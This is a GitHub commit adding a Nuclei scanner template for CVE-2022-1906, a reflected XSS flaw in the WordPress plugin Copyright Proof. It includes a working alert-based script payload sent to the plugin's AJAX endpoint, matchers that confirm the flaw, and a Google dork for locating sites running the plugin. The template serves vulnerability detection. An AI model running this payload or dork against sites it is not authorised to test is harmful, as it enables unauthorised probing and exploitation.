Merge pull request #4985 from projectdiscovery/CVE-2022-1906

Create CVE-2022-1906.yaml
patch-1
Prince Chaddha 2022-08-03 18:51:24 +05:30 committed by GitHub
commit 177a52d422
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 39 additions and 0 deletions

View File

@ -0,0 +1,39 @@
id: CVE-2022-1906
info:
name: Copyright Proof <= 4.16 - Reflected Cross-Site-Scripting
author: random-robbie
severity: medium
description: |
The plugin does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users, leading to a Reflected Cross-Site Scripting when a specific setting is enabled.
reference:
- https://wpscan.com/vulnerability/af4f459e-e60b-4384-aad9-0dc18aa3b338
- https://nvd.nist.gov/vuln/detail/CVE-2022-1906
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1906
metadata:
verified: true
google-dork: inurl:/wp-content/plugins/digiproveblog
tags: cve,cve2022,wordpress,xss,wp-plugin,wp
requests:
- raw:
- |
GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "got message <script>alert(document.domain)</script>"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200